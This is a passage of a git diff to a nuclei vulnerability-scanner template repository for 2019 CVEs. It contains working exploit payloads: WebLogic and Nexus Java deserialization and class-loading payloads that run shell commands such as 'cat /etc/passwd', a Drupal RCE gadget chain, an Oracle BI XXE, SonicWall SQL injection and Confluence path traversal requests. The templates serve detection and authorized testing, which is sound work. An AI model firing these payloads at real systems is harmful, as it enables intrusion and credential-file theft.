id="byte_arr"><string>yv66vgAAADIAYwoAFAA8CgA9AD4KAD0APwoAQABBBwBCCgAFAEMHAEQKAAcARQgARgoABwBHBwBICgALADwKAAsASQoACwBKCABLCgATAEwHAE0IAE4HAE8HAFABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExSZXN1bHRCYXNlRXhlYzsBAAhleGVjX2NtZAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAANmaXMBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpc3IBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBAAZyZXN1bHQBAA1TdGFja01hcFRhYmxlBwBRBwBSBwBTBwBCBwBEAQAKRXhjZXB0aW9ucwEAB2RvX2V4ZWMBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBNBwBUAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAChSZXN1bHRCYXNlRXhlYy5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAVABYHAFUMAFYAVwwAWABZBwBSDABaAFsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAVAFwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAVAF0BAAAMAF4AXwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABgAGEMAGIAXwEAC2NtZC5leGUgL2MgDAAcAB0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQALL2Jpbi9zaCAtYyABAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABMAFAAAAAAABAABABUAFgABABcAAAAvAAEAAQAAAAUqtwABsQAAAAIAGAAAAAYAAQAAAAMAGQAAAAwAAQAAAAUAGgAbAAAACQAcAB0AAgAXAAAA+QADAAcAAABOuAACKrYAA0wrtgAETbsABVkstwAGTrsAB1kttwAIOgQBOgUSCToGGQS2AApZOgXGABy7AAtZtwAMGQa2AA0ZBbYADbYADjoGp//fGQawAAAAAwAYAAAAJgAJAAAABgAIAAcADQAIABYACQAgAAoAIwALACcADAAyAA4ASwARABkAAABIAAcAAABOAB4AHwAAAAgARgAgACEAAQANAEEAIgAjAAIAFgA4ACQAJQADACAALgAmACcABAAjACsAKAAfAAUAJwAnACkAHwAGACoAAAAfAAL/ACcABwcAKwcALAcALQcALgcALwcAKwcAKwAAIwAwAAAABAABABEACQAxAB0AAgAXAAAAqgACAAMAAAA3EglMuwALWbcADBIPtgANKrYADbYADrgAEEynABtNuwALWbcADBIStgANKrYADbYADrgAEEwrsAABAAMAGgAdABEAAwAYAAAAGgAGAAAAFgADABkAGgAeAB0AGwAeAB0ANQAfABkAAAAgAAMAHgAXADIAMwACAAAANwAeAB8AAAADADQAKQAfAAEAKgAAABMAAv8AHQACBwArBwArAAEHADQXADAAAAAEAAEANQAJADYANwACABcAAAArAAAAAQAAAAGxAAAAAgAYAAAABgABAAAANgAZAAAADAABAAAAAQA4ADkAAAAwAAAABAABADUAAQA6AAAAAgA7</string></void></void><void class="org.mozilla.classfile.DefiningClassLoader"><void method="defineClass"><string>ResultBaseExec</string><object idref="byte_arr"></object><void method="newInstance"><void method="do_exec" id="result"><string>echo${IFS}COP-9272-9102-EVC|rev</string></void></void></void></void><void class="java.lang.Thread" method="currentThread"><void method="getCurrentWork" id="current_work"><void method="getClass"><void method="getDeclaredField"><string>connectionHandler</string><void method="setAccessible"><boolean>true</boolean></void><void method="get"><object idref="current_work"></object><void method="getServletRequest"><void method="getResponse"><void method="getServletOutputStream"><void method="writeStream"><object class="weblogic.xml.util.StringInputStream"><object idref="result"></object></object></void><void method="flush"/></void><void method="getWriter"><void method="write"><string></string></void></void></void></void></void></void></void></void></void></java> - - - | - POST /_async/AsyncResponseService HTTP/1.1 - Host: {{Hostname}} - Content-Type: text/xml - Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 - - xxxxoracle.toplink.internal.sessions.UnitOfWorkChangeSet-84-19051151140231069711897461171161051084676105110107101100729711510483101116-40108-4190-107-35423020012011401710697118974611711610510846729711510483101116-7068-123-107-106-72-735230012011211912000166364000002115114058991111094611511711046111114103469711297991041014612097108971104610511011610111411097108461201151081169946116114971204684101109112108971161011157310911210898779-63110-84-855130673013951051101001011101167811710998101114730149511611497110115108101116731101001011209101095981211161019911110010111511603919166910695991089711511511601891761069711897471089711010347671089711511559760595110971091011160187610697118974710897110103478311611410511010359760179511111711611211711680114111112101114116105101115116022761069711897471171161051084780114111112101114116105101115591201120000-1-1-1-11171140391916675-32521103103-37552001201120002117114029166-84-1323-86884-32200120112008-82-54-2-70-6600050099100303470977037703810161151011141059710886101114115105111110857368101741013671111101151169711011686971081171015-8332-109-13-111-35-176210660105110105116621034041861046711110010110157610511010178117109981011148497981081011018761119997108869711410597981081018497981081011041161041051151019831161179884114971101151081011168097121108111971001012731101101011146710897115115101115105376121115111115101114105971084711297121108111971001154711711610510847719710010310111611536831161179884114971101151081011168097121108111971005910911611497110115102111114109101144076991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947687977599176991111094711511711047111114103479711297991041014712010910847105110116101114110971084711510111410597108105122101114478310111410597108105122971161051111107297110100108101114594186108100111991171091011101161045769911110947115117110471111141034797112979910410147120971089711047105110116101114110971084712011510811699476879775910810497110100108101114115106691769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145910106912099101112116105111110115703910-904076991111094711511711047111114103479711297991041014712097108971104710511011610111411097108471201151081169947687977597699111109471151171104711111410347971129799104101471201091084710511011610111411097108471001161094768847765120105115731161011149711611111459769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145941861081051161011149711611111410537699111109471151171104711111410347971129799104101471201091084710511011610111411097108471001161094768847765120105115731161011149711611111459107104971101001081011141065769911110947115117110471111141034797112979910410147120109108471051101161011141109710847115101114105971081051221011144783101114105971081051229711610511111072971101001081011145910108311111711499101701051081011012719710010310111611546106971189712010011704010511211151111151011141059710847112971211081119710011547117116105108477197100103101116115368311611798841149711011510810111680971211081119710010649911110947115117110471111141034797112979910410147120971089711047105110116101114110971084712011510811699471141171101161051091014765981151161149799116841149711011510810111610201069711897471051114783101114105971081051229798108101105799111109471151171104711111410347971129799104101471209710897110471051101161011141109710847120115108116994784114971101151081011166912099101112116105111110103112111511111510111410597108471129712110811197100115471171161051084771971001031011161151086099108105110105116621018106971189747105111477010510810187114105116101114704210221069711897471089711010347831161141051101036611710210210111470441004503410161069711897471089711010347841041141019710070471013991171141141011101168410411410197100102040417610697118974710897110103478410411410197100591204905010048051102110310111667111110116101120116671089711511576111971001011141025404176106971189747108971101034767108971151157611197100101114591205305410048055101478057102110697118974710897110103476710897115115761119710010111470591011103101116821011151111171149910110344076106971189747108971101034783116114105110103594176106971189747110101116478582765912061062100600631012106971189747110101116478582767065107103101116809711610410204041761069711897471089711010347831161141051101035912067068100660691069711211210111010010444076106971189747108971101034783116114105110103594176106971189747108971101034783116114105110103661171021021011145912071072100450731017464647464647102971181059911111046105991118075108116111831161141051101031207706810045078102140761069711897471089711010347831161141051101035941861201008010043081101610697118974710897110103478311611410511010370831010861171081101011149798108101808510084081101410697118974710511147871141051161011147088104240761069711897471089711010347671049711483101113117101110991015941761069711897471051114787114105116101114591207109010089091105102108117115104120930111008909410138311697991077797112849798108101103012111511111510111410597108478011911010111451575652505148504850525153485110327612111511111510111410597108478011911010111451575652505148504850525153485159033020301040102605060107000208040101001101012000470101000542-7301-79000201300060100041014000120100050150980001019020020120006300030001-79000201300060100046014000320300010150980000010210220100010230240202500040102601019027020120007300040001-790002013000601000500140004204000101509800000102102201000102802902000103003103025000401026080410110101200081060200060-8903176-6904389-6904589-73046-72052-740561858-74064-74070-740741876-74074-74079-73082-69084891886-73087-74092-74095-7900010960003013020320002033017000100102035016091171130126011001-44-54-2-70-6600050027100302170237024702510161151011141059710886101114115105111110857368101741013671111101151169711011686971081171015113-26105-1860109712410660105110105116621034041861046711110010110157610511010178117109981011148497981081011018761119997108869711410597981081018497981081011041161041051151037011111110127311011010111467108971151151011151037761211151111151011141059710847112971211081119710011547117116105108477197100103101116115367011111159101083111117114991017010510810110127197100103101116115461069711897120100117026103512111511111510111410597108471129712110811197100115471171161051084771971001031011161153670111111101610697118974710897110103477998106101991161020106971189747105111478310111410597108105122979810810110311211151111151011141059710847112971211081119710011547117116105108477197100103101116115033020301040102605060107000208010101001101012000470101000542-7301-79000201300060100054014000120100050150180002019000202001700010010202201609112116048011911011411211910120115125000102910697118971204612010910846116114971101151021111141094684101109112108971161011151201140231069711897461089711010346114101102108101991164680114111120121-3139-3832-521667-53201760110411603776106971189747108971101034711410110210810199116477311011811199971161051111107297110100108101114591201121151140501151171104611410110210810199116469711011011111697116105111110466511011011111697116105111110731101181119997116105111110729711010010810111485-54-111521-53126-912027601210910110998101114869710811710111511601576106971189747117116105108477797112597604116121112101116017761069711897471089711010347671089711511559120112115114017106971189746117116105108467297115104779711257-38-63-612296-47302700101081119710070979911611111473091161041141011151041111081001201126364000001211980001600011160810253975397544856113012608120118114029106971189712046120109108461161149711011510211111410946841011091121089711610111500000000000120112120 - - - | - GET /_async/favicon.ico HTTP/1.1 - Host: {{Hostname}} - - stop-at-first-match: true - req-condition: true - matchers-condition: or - matchers: - - type: dsl - dsl: - - 'status_code_1 == 200' - - 'contains(body_1, "CVE-2019-2729-POC")' - condition: and - - - type: dsl - dsl: - - 'status_code_2 == 202' - - 'contains(body_3, "Vulnerable")' - condition: and - -# Enhanced by mp on 2022/04/14 diff --git a/nuclei-templates/CVE-2019/CVE-2019-2767.yaml b/nuclei-templates/CVE-2019/CVE-2019-2767.yaml new file mode 100644 index 0000000000..30f3f64964 --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-2767.yaml @@ -0,0 +1,28 @@ +id: CVE-2019-2767 + +info: + name: Oracle Business Intelligence - Publisher XXE + author: madrobot + severity: high + description: There is an XXE vulnerability in the BI Publisher (formerly XML Publisher) component of Oracle Fusion Middleware. The supported versions affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. This easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise BI Publisher. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-2767 + - https://www.exploit-db.com/exploits/46729 + - http://www.oracle.com/technetwork/security-advisory/cpujul2019-5072835.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N + cvss-score: 7.2 + cve-id: CVE-2019-2767 + tags: cve,cve2019,oracle,xxe,oast + +requests: + - raw: + - | + GET /xmlpserver/convert?xml=<%3fxml+version%3d"1.0"+%3f>%25sp%3b%25param1%3b]>&_xf=Excel&_xl=123&template=123 HTTP/1.1 + Host: {{Hostname}} + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/nuclei-templates/CVE-2019/CVE-2019-3396.yaml b/nuclei-templates/CVE-2019/CVE-2019-3396.yaml deleted file mode 100644 index eee51fae30..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-3396.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2019-3396 - -info: - name: Atlassian Confluence Server - Path Traversal - author: harshbothra_ - severity: critical - description: The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection. - reference: - - https://github.com/x-f1v3/CVE-2019-3396 - - https://nvd.nist.gov/vuln/detail/CVE-2019-3396 - - https://jira.atlassian.com/browse/CONFSERVER-57974 - - http://packetstormsecurity.com/files/152568/Atlassian-Confluence-Widget-Connector-Macro-Velocity-Template-Injection.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2019-3396 - cwe-id: CWE-22 - epss-score: 0.97503 - metadata: - max-request: 1 - shodan-query: http.component:"Atlassian Confluence" - tags: cve,cve2019,atlassian,confluence,lfi,rce,kev,packetstorm - -http: - - raw: - - | - POST /rest/tinymce/1/macro/preview HTTP/1.1 - Host: {{Hostname}} - Referer: {{Hostname}} - - {"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}} - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - "contextConfigLocation" - -# Enhanced by mp on 2022/05/03 diff --git a/nuclei-templates/CVE-2019/CVE-2019-3912.yaml b/nuclei-templates/CVE-2019/CVE-2019-3912.yaml deleted file mode 100644 index 72ca79216b..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-3912.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2019-3912 - -info: - name: LabKey Server < 18.3.0 - Open redirect - author: 0x_Akoko - severity: medium - description: An open redirect vulnerability in LabKey Server Community Edition before 18.3.0-61806.763 via the /__r1/ returnURL parameter allows an unauthenticated remote attacker to redirect users to arbitrary web sites. - reference: - - https://www.tenable.com/security/research/tra-2019-03 - - https://www.cvedetails.com/cve/CVE-2019-3912 - tags: cve,cve2019,redirect,labkey - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2019-3912 - cwe-id: CWE-601 - -requests: - - method: GET - - path: - - '{{BaseURL}}/labkey/__r1/login-login.view?returnUrl=http://example.com' - - matchers: - - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$' - part: header diff --git a/nuclei-templates/CVE-2019/CVE-2019-6340.yaml b/nuclei-templates/CVE-2019/CVE-2019-6340.yaml new file mode 100644 index 0000000000..e6d6680309 --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-6340.yaml @@ -0,0 +1,34 @@ +id: CVE-2019-6340 +info: + name: Drupal 8 core RESTful Web Services RCE + author: madrobot + severity: high + description: Some field types do not properly sanitize data from non-form sources in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead to arbitrary PHP code execution in some cases. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-6340 + - https://www.drupal.org/sa-core-2019-003 + - http://web.archive.org/web/20210125004201/https://www.securityfocus.com/bid/107106/ + - https://www.synology.com/security/advisory/Synology_SA_19_09 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.1 + cve-id: CVE-2019-6340 + cwe-id: CWE-502 + tags: cve,cve2019,drupal,rce,kev +requests: + - method: POST + path: + - '{{BaseURL}}/node/1?_format=hal_json' + body: '{ "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } }' + matchers-condition: and + matchers: + - type: word + words: + - "uid=" + - "gid=" + - "groups=" + condition: and + part: body + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/cve-2019-6715.yaml b/nuclei-templates/CVE-2019/CVE-2019-6715.yaml similarity index 100% rename from nuclei-templates/CVE-2019/cve-2019-6715.yaml rename to nuclei-templates/CVE-2019/CVE-2019-6715.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-7192.yaml b/nuclei-templates/CVE-2019/CVE-2019-7192.yaml similarity index 100% rename from nuclei-templates/CVE-2019/cve-2019-7192.yaml rename to nuclei-templates/CVE-2019/CVE-2019-7192.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-7219.yaml b/nuclei-templates/CVE-2019/CVE-2019-7219.yaml similarity index 100% rename from nuclei-templates/CVE-2019/cve-2019-7219.yaml rename to nuclei-templates/CVE-2019/CVE-2019-7219.yaml diff --git a/nuclei-templates/CVE-2019/CVE-2019-7238.yaml b/nuclei-templates/CVE-2019/CVE-2019-7238.yaml deleted file mode 100644 index dcc8e406c2..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-7238.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2019-7238 - -info: - name: Sonatype Nexus Repository Manager <3.15.0 - Remote Code Execution - author: pikpikcu - severity: critical - description: Sonatype Nexus Repository Manager before 3.15.0 is susceptible to remote code execution. - reference: - - https://github.com/jas502n/CVE-2019-7238 - - https://support.sonatype.com/hc/en-us/articles/360017310793-CVE-2019-7238-Nexus-Repository-Manager-3-Missing-Access-Controls-and-Remote-Code-Execution-February-5th-2019 - - https://nvd.nist.gov/vuln/detail/CVE-2019-7238 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2019-7238 - tags: cve,cve2019,nexus,rce - -requests: - - raw: - - | - POST /service/extdirect HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/json - X-Requested-With: XMLHttpRequest - - {"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){ c=1.class.forName('java.lang.Character'); integer=1.class; x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055'; y=0; z=''; while (y lt x.length()){ z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0]; y += 2; };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n y,\n 'Exploit.Test234',\n z.getBytes('latin1'), 0,\n 3054\n);x.getMethod('test', ''.class).invoke(null, 'cat /etc/passwd');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"} - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:.*:0:0:" - part: body - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/03 diff --git a/nuclei-templates/CVE-2019/CVE-2019-7275.yaml b/nuclei-templates/CVE-2019/CVE-2019-7275.yaml new file mode 100644 index 0000000000..26ef262b5d --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-7275.yaml @@ -0,0 +1,29 @@ +id: CVE-2019-7275 + +info: + name: Open Redirect in Optergy Proton/Enterprise BMS + author: 0x_Akoko + severity: medium + description: Optergy Proton/Enterprise devices allow Open Redirect. + reference: + - https://packetstormsecurity.com/files/155268/Optergy-Proton-Enterprise-BMS-2.3.0a-Open-Redirect.html + - https://applied-risk.com/resources/ar-2019-008 + - https://cxsecurity.com/issue/WLB-2019110074 + - https://applied-risk.com/labs/advisories + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2019-7275 + cwe-id: CWE-601 + tags: cve,cve2019,redirect + +requests: + - method: GET + path: + - "{{BaseURL}}/updating.jsp?url=https://example.com/" + + matchers: + - type: regex + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + part: header diff --git a/nuclei-templates/CVE-2019/CVE-2019-7481.yaml b/nuclei-templates/CVE-2019/CVE-2019-7481.yaml deleted file mode 100644 index bdd6eaf8fc..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-7481.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2019-7481 - -info: - name: SonicWall SRA 4600 VPN - SQL Injection - author: _darrenmartyn - severity: high - description: The SonicWall SRA 4600 VPN appliance is susceptible to a pre-authentication SQL injection vulnerability. - reference: - - https://www.crowdstrike.com/blog/how-ecrime-groups-leverage-sonicwall-vulnerability-cve-2019-7481/ - - https://nvd.nist.gov/vuln/detail/CVE-2019-7481 - - https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2019-0016 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-7481 - cwe-id: CWE-89 - epss-score: 0.89778 - tags: cve,cve2019,sonicwall,sqli,kev - metadata: - max-request: 1 - -http: - - raw: - - | - POST /cgi-bin/supportInstaller HTTP/1.1 - Host: {{Hostname}} - Accept-Encoding: identity - User-Agent: MSIE - Content-Type: application/x-www-form-urlencoded - - fromEmailInvite=1&customerTID=unpossible'+UNION+SELECT+0,0,0,11132*379123,0,0,0,0-- - - matchers: - - type: word - words: - - "4220397236" - part: body - -# Enhanced by mp on 2022/04/20 diff --git a/nuclei-templates/CVE-2019/CVE-2019-8442.yaml b/nuclei-templates/CVE-2019/CVE-2019-8442.yaml deleted file mode 100644 index 5079f927ff..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-8442.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2019-8442 -info: - name: JIRA Directory Traversal - author: Kishore Krishna (siLLyDaddy) - severity: high - description: The CachingResourceDownloadRewriteRule class in Jira before version 7.13.4, and from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1 allows remote attackers to access files in the Jira webroot under the META-INF directory via a lax path access check. - reference: - - https://jira.atlassian.com/browse/JRASERVER-69241 - - http://web.archive.org/web/20210125215006/https://www.securityfocus.com/bid/108460/ - classification: - cvss-metrics: 